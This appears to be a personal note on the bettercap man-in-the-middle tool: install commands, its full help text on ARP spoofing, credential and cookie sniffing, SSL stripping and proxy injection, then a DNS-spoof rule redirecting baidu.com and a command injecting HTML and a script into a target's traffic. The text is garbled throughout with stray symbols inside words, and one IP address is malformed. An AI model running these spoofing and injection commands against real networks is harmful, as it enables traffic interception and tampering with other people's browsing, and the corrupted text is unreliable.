apt-get update
apt-get install bettercap 

bettercap --help

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| '_ \ / _ \ __| __/ _ \ '__/ __/ _` | '_ \
| |_) |  __/ |_| ||  _β↓_/ | | (_| (_| | |_) |
|_.__/ \___|\_↕'•☆_|\__\___|_|  \___\__,_| .__/
       δ¶                              |_| v1.5.8
http://bettercap.org/



Usage: bettercap [options]

MAIN:

   €±σ↓ -I, --interface IFACE            Network interface name - default: wlp3s0
        --use-mac ADDRESS            γσ♠Change the interface MAC address to this value before performing the attack.
       ∞λα --random-mac             δ‍∏∑    Change the interface MAC address to a random one before performi<≠♦ng the attack.
    -G, --gateway ADDRESS  ★♦"•          Manually specify t‌≈πhe gateway address, if not specified the current gateway wi$↑€>ll be retrieved and used. 
    -T, --target AD‌≠"£DRESS1,ADDRESS2   Target IP addresses, if not specified the whole subnet w§φβill be targeted.
        --ignore♦ ‍ε ADDRESS1,ADDRESS2   Ignore these addr↕€γesses if found while searching for targets.
        --no-discov♣®​ery               Do not actively search for hosts, just use the current ARP cach×£e, default to false.
        --no-target-nbns             Disable target NBNS hostname ¶↓'&resolution.
        --packet-throttle NUMBER ←>✔    Number of seconds ( can be a decimal number ) to wait between each ∞>©packet to be sent.
        --check-επupdates              Will check if any update is available and then exit.
    -h, --help                       Display the avail≥Ω±§able options.

LOGGING:

    -φ₩O, --log LOG_FILE               Log all✘♠✘α messages into a file, if not specified the log messages ‌₩¥will be only print into the shell.
        --lδ og-timestamp              E>×™nable logging with timestam ★ps for each line, disabled by default.
    -D, --debug                      Enable deb¥ ♥ug logging.
        --silent  ≈                    Suppress∑π¶× every message which is not an error or a warning, default to false.

SPOOFING:

    -S, --spoofer NAME  ‍→π♣             Spoofer module to use, ∞↕♥πavailable: ICMP, ARP, NONE - default: ARP.
        --no-spoofing         β>®★       Disable spoofing, al↕φ₽ias for --spoofer NONE.
        --full-dup✘★$ lex                Enable full-ε ♣∞duplex MITM, this will make bettercap attack both the taσ ‍rget(s) and the router.
        --kill     ‌                   Instead of forwarding pac≈γkets, this switch will make targets connections to be ↕"killed.

SNIFFING:

    ↔λ↔∞-X, --sniffer                    Enable βδ≈πsniffer.
    -L, --local         ✔✔←             Parse packets co←<↕ming from/to the address of this computer ( NOTE: Will set -X to true ), default to false.
        --sniffer-source FILE        LoadΩ ₽δ packets from the specified PCAP fiγΩ♠le instead of the interface ( will enable sniffer ).
        --sniffer-output FILE        Save all packets to the sp₹☆​₩ecified PCAP file ( will enable sniffer ).
  ¥÷      --sniffer-filter EXPRE≤•SSION  Configure the sniffer to use this BPF filter ( will enable sniff ♠♦er ).
    -P, --parsers PARSERS         ♣λ✔   Comma separated list of packet parsers to e₩≈nable, '*' for all ( NOTE: Will set -X to true ), available: MYSQL, FTP≥©☆↕, SNPP, MAIL, RLOGIN, REDIS, DHCP, CRE€↓≠ΩDITCARD, MPD, HTTPAUTH, IRC, DICT, HTTPS, N↕₽$∑NTP, WHATSAPP, POST, PGSQL, NTLMSS, SNMP, URL, CO©₽OKIE, TEAMVIEWER - default: *
        --custom-parserφ↔φ EXPRESSION   Use a custom regular expression☆¥₹ in order to capture and show sniffed data €&§<( NOTE: Will set -X to true ).

PROXYING:


  TCP:

        --₩♦tcp-proxy                  Enablσ ¶→e TCP proxy ( requires other ->βα-tcp-proxy-* options to be specified ).
        --&↔tcp-proxy-module MODULE    Ruby TCP proxy module to l™≠>λoad.
        --tcp-proxy-port POR¶≥↔T        Set local TCP proλ♦xy port, default to 2222 .
        --tcp-proxy-upstream ADDRESS:PORT
   ×$•                                  Set TCP p →Ωroxy upstream server address and port.
$÷★★        --tcp-proxy-upstream-address ADDRESS
                ☆÷                      Set TCP proxy upstream s'≈erver address.
        --tcp-proxy-upstr☆β¶♥eam-port PORT
               ¥​±                      Set TCP proxy upstream ser₹←β∞ver port.
  HTTP:

        --proxy £∞£                     Enable HTTP proxy and rediβ"‌rects all HTTP requests to δ± it, default to false.
        --proxy-port PORT    α↓₩‍        Set HTTP proxy port, default to 8080.
        --allow-local-connections    Allow dirε✔ect connections to the proxy inst‌≠÷§ance, default to false.
        --no-sslstrip                Disable SSLS ♦'∏trip.
        --log-http-response          Log HTTP res↓≈ponses.
        --proxy-module MODULE        Ruby proxy module to loa✘ 'γd, either a custom file or one of the followi←₹ng: injecthtml, injectcss, injectβσ÷js.
        --http-ports PORT1,PORT2     Comma ≤<÷ separated list of HTTP ports to redirect to γ¶the proxy, default to 80.
        --proxy-upstream-address ADDRESS
                            ®£         If set, only requests coming from this server address will be redirected '¥to the HTTP/HTTPS proxies.

  HTTPS:

        --proxy"←σ-https                Enable HTT™✔PS proxy and redirects all HTTPS req→<'"uests to it, default to false.
        --proxy-https-port PORT      Set Ω₽π¥HTTPS proxy port, default to 8083.
        --proxy-pem FILE             Use a c₹≠ustom PEM CA certificate file for the HTTPS proxy, default to /home/nono/.bettercap/bettercap-ca.pem .
        --https-ports PORT §1,PORT2    Comma separated list o≈φf HTTPS ports to redirect to the proxy, default to 443.

  CUSTOM:

        --custom-proxy ADDRESS       Use a custom HΩ✔± TTP upstream proxy instead of theγ₹γ builtin one.
        --custom-proxy-port ε∞¥PORT     Specify a port for the custom HTTP upstream proxy, default to 8080.
        --custom-https-proxy ADDRESS Use a custom HTσ₹&TPS upstream proxy instead of the builtin ≠<≠±one.
        --custom-httpαλ>™s-proxy-port PORT
                    €§                 Specify a ≈β∞port for the custom HTTPS upstream±₽♦∞ proxy, default to 8083.
        --custom-redirection RULE  ∞∞✔  Apply a custom port redirection, the form$↓β'at of the rule is PROTOCOL ORIGINAL_PORT NEW_POR∞β§→T. For instance TCP 21 2100 will redirect all TCP traffic‌§​¥ going to port 21, to port 2100.

SERVERS:

        --≤≈httpd                     ≥↕← Enable HTTP server, default to false.
        --httpd-port PORT  ♦≠αφ          Set HTTP server port, default to 8081.
        --httpd-path PATH            Set HT•α↕→TP server path, default to ./ .
        --dns FILE            ₽φ$       Enable DNS server and use this file as a hosts resolution table.
     £<   --dns-port PORT        ¶∏±      Set DNS server port, default to 5300.

For examples & docs please visit≈←• http://bettercap.org/docs/

192.168.1.180 .*\.baidu\.com

sudo bettercap --httpd --httpd-port 80 --httpd-path http --dns http/dns.conf

sudo bettercap -X --proxy true -T 192.168.168.1.103 proxy true  --proxy-module=injecthtml --html-data "<img src='https://pic.cnblog×γ££s.com/avatar/497865/20150117172039.±↓α png'/><script>al'≤≤∑ert(1)</script>"